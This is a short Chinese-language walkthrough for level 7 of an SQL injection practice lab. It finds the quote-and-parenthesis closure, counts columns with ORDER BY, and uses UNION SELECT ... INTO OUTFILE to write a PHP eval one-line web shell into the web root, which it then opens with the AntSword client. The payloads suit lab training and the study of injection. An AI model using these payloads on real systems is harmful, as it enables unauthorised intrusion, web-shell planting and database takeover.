SQL靶场第七关攻略

一.判断闭合点

闭合点为?id=1'))--+

二.判断列数

输入?id=1')) order by 3--+页面正常

输入?id=1')) order by 4--+页面异常,说明有3列

这里显示让我们用outfile来打这关,那我们先了解一下outfile:

用法:select 列名 from table [where语句] into outfile '目标文件'

三.写入木马文件

输入?id=-1')) union select 1,2,3 into outfile "D:/phpstudy/phpstudy_pro/WWW/1.txt"--+测试一下是否能把文件写进去

在这里发现写进来以后,就可以写我们的木马文件

输入?id=-1')) union select 1,2,'<?php eval($_post['cmd'])?>' into outfile "D:/phpstudy/phpstudy_pro/WWW/1.php"--+

这样就把我们的木马文件写进来了,我们打开蚁剑连接

连上蚁剑就获得了他的数据库的管理权限了,以上就是第七关的通关攻略

相关推荐
愤怒的苹果ext22 分钟前
flink-sql-connector-elasticsearch8兼容Flink SQL同步到Elasticsearch8.18.8
sql·flink·es8
u0109272711 小时前
RESTful API设计最佳实践(Python版)
jvm·数据库·python
qq_192779878 小时前
高级爬虫技巧:处理JavaScript渲染(Selenium)
jvm·数据库·python
u0109272718 小时前
使用Plotly创建交互式图表
jvm·数据库·python
爱学习的阿磊8 小时前
Python GUI开发:Tkinter入门教程
jvm·数据库·python
tudficdew9 小时前
实战:用Python分析某电商销售数据
jvm·数据库·python
Fleshy数模9 小时前
CentOS7 安装配置 MySQL5.7 完整教程(本地虚拟机学习版)
linux·mysql·centos
sjjhd6529 小时前
Python日志记录(Logging)最佳实践
jvm·数据库·python
Configure-Handler9 小时前
buildroot System configuration
java·服务器·数据库
2301_821369619 小时前
用Python生成艺术:分形与算法绘图
jvm·数据库·python